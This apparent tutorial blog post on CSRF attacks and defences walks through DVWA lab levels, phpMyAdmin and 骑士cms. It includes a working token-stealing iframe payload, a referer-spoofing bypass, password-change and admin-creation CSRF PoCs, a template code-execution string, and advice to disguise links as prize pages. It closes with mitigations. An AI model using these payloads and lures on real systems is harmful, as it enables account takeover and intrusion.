vlambda博客
学习文章列表

Web安全Day3 - CSRF实战攻防

1. CSRF漏洞

1.1 CSRF漏洞简介

CSRF(跨站请求伪造),是指利用受害者尚未失效的身份认证信息( cookie、会话
等),诱骗其点击恶意链接或者访问包含攻击代码的页面,在受害人不知情的情况下
以受害者的身份向(身份认证信息所对应的)服务器发送请求,从而完成非法操作
(如转账、改密等)。CSRF与XSS最大的区别就在于,CSRF并没有盗取cookie而是直接利用

1.2 CSRF漏洞分类

1.2.1 GET型

GET型CSRF漏洞,只需要构造URL,然后诱导受害者访问利用。

1.2.2 POST型

POST型CSRF漏洞,需要构造自动提交或点击提交的表单,然后诱导受害者访问或点击利用。

1.3 CSRF漏洞危害

未验证 Referer或者使用 Token 导致用户或者管理员可被 CSRF添加、修改、删除等操作。

2. CSRF漏洞测试

2.1 测试思路

寻找增删改的地方,构造HTML,修改HTML表单中某些参数,使用浏览器打开该HTML,点击提交表单后查看响应结果,看该操作是否成功执行。

2.2 工具测试

2.2.1 burpsuite

使用burpsuite中Engagement tools的Generate CSRF PoC模块
右击要csrf攻击的url,选择Generate CSRF POC模块

然后就构造好了攻击脚本,value就是要修改成的密码
Web安全Day3 - CSRF实战攻防
Test in browser一般用于自己测试用
Web安全Day3 - CSRF实战攻防
然后点击copy
Web安全Day3 - CSRF实战攻防
然后用代理burpsuite的浏览器打开
Web安全Day3 - CSRF实战攻防
点击submit request即可修改成功密码
Web安全Day3 - CSRF实战攻防
Copy HTML 一般用于攻击其他人,复制下代码保存为HTML文档
可以简单修改个中奖页面,诱惑受害者点击
Web安全Day3 - CSRF实战攻防
Web安全Day3 - CSRF实战攻防
点击领奖成功修改密码
Web安全Day3 - CSRF实战攻防

2.2.2CSRFTester

点击Generate HTML生成CSRF攻击脚本,我们这次添加test1账号
Web安全Day3 - CSRF实战攻防
打开此文件,成功添加账号
Web安全Day3 - CSRF实战攻防

2.3 靶场测试

这里我们选用DVWA靶场进行测试。

2.3.1 安装步骤

2.3.2 low等级

从代码中可以看出未作任何防御,直接更改密码。

if( isset( $_GET[ 'Change' ] ) ) { // Get input $pass_new = $_GET[ 'password_new' ]; $pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match? if( $pass_new == $pass_conf ) { // They do! $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $pass_new = md5( $pass_new );
// Update the database $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Feedback for the user $html .= "<pre>Password Changed.</pre>"; } else { // Issue with passwords matching $html .= "<pre>Passwords did not match.</pre>"; }
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);}

先使用burpsuite进行抓修改密码的数据包


Web安全Day3 - CSRF实战攻防
再使用Generate CSRF PoC进行构造poc
Web安全Day3 - CSRF实战攻防
CSRF HTML中的代码是构造好的
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-nS8Dd8zF-1572342583341)(https://uploader.shimo.im/f/Tg4yC6ajfJIWrVrW.png!thumbnail)]
把构造好的代码复制出来,复制到自己创建的HTML文件里,value里的值是要修改成的密码。
Web安全Day3 - CSRF实战攻防
点击submit request即可修改
Web安全Day3 - CSRF实战攻防
修改成功
Web安全Day3 - CSRF实战攻防

2.3.3 medium等级

从代码中可以看出先检测referer是否包含主机名称,再进行更改密码。

if( isset( $_GET[ 'Change' ] ) ) { // Checks to see where the request came from if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) { // Get input $pass_new = $_GET[ 'password_new' ]; $pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match? if( $pass_new == $pass_conf ) { // They do! $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $pass_new = md5( $pass_new );
// Update the database $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Feedback for the user $html .= "<pre>Password Changed.</pre>"; } else { // Issue with passwords matching $html .= "<pre>Passwords did not match.</pre>"; } } else { // Didn't come from a trusted source $html .= "<pre>That request didn't look correct.</pre>"; }
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);}

先看下phpinfo中SERVER_NAME是什么


Web安全Day3 - CSRF实战攻防
访问poc,并抓包修改referer,添加localhost进行绕过
Web安全Day3 - CSRF实战攻防
修改成功
Web安全Day3 - CSRF实战攻防

2.3.4 high等级

从代码可以看出增加了Anti-CSRF token机制,用户每次访问更改页面时,服务器都会返回一个随机token,向服务器发送请求时,并带上随机token,服务端接收的时候先对token进行检查是否正确,才会处理客户端请求。

if( isset( $_GET[ 'Change' ] ) ) { // Check Anti-CSRF token checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input $pass_new = $_GET[ 'password_new' ]; $pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match? if( $pass_new == $pass_conf ) { // They do! $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $pass_new = md5( $pass_new );
// Update the database $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Feedback for the user $html .= "<pre>Password Changed.</pre>"; } else { // Issue with passwords matching $html .= "<pre>Passwords did not match.</pre>"; }
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);}
// Generate Anti-CSRF token

generateSessionToken();


要绕过Anti-CSRF token机制,首先要获取token,再使用这个token进行修改密码。
然后构造以下代码

<html><body><script type="text/javascript"> function attack(){ document.getElementsByName('user_token')[0].value=document.getElementById("hack").contentWindow.document.getElementsByName('user_token')[0].value; document.getElementById("transfer").submit(); }</script><iframe src="http://192.168.1.108/dvwa/vulnerabilities/csrf" id="hack" border="0" style="display:none;">
</iframe><body onload="attack()">
<form method="GET" id="transfer" action="http://192.168.1.108/dvwa/vulnerabilities/csrf">
<input type="hidden" name="password_new" value="hongri">
<input type="hidden" name="password_conf" value="hongri">
<input type="hidden" name="user_token" value="">
<input type="hidden" name="Change" value="Change">
</form>
</body></html>

访问后就立即修改密码
Web安全Day3 - CSRF实战攻防

3. 真实实战演练

此漏洞使用VulnSpy在线靶机phpMyAdmin进行测试

3.1 安装步骤

3.2 利用过程

将当前用户密码更改为hongri,SQL命令

SET passsword=PASSWORD('hongri');

构造poc

http://f1496b741e86dce4b2f79f3e839f977d.vsplate.me:19830/pma/sql.php?db=mysql&table=user&sql_query=SET%20password%20=%20PASSWORD(%27hongri%27)


我们可以使用短域名伪装

Web安全Day3 - CSRF实战攻防
修改成功
Web安全Day3 - CSRF实战攻防

4. CMS实战演练

选取骑士cms进行CSRF漏洞实战攻击测试。

4.1 安装步骤

下载解压,访问首页
Web安全Day3 - CSRF实战攻防
填写信息
Web安全Day3 - CSRF实战攻防
安装完成
Web安全Day3 - CSRF实战攻防

4.2 测试过程

安装好后,进入添加管理员界面进行抓包
Web安全Day3 - CSRF实战攻防
Web安全Day3 - CSRF实战攻防
使用Generate CSRF PoC生成HTML代码,并添加个中奖图片,简单伪装成中奖页面。
Web安全Day3 - CSRF实战攻防Web安全Day3 - CSRF实战攻防
还可以用短域名继续伪装
Web安全Day3 - CSRF实战攻防
然后诱导管理员打开并点击,创建成功
Web安全Day3 - CSRF实战攻防
使用创建的账号密码登录

使用代码执行漏洞执行phpinfo
poc:index.php?m=Admin&c=Tpl&a=set&tpl_dir=a’.${phpinfo()}.’

5. 漏洞修复方案

5.1添加随机token值,并验证。

5.2验证Referer

5.3关键请求使用验证码功能

6. 参考文章

https://www.freebuf.com/articles/web/118352.html

http://www.yqxiaojunjie.com/index.php/archives/341/

https://www.vulnspy.com/?u=pmasa-2017-9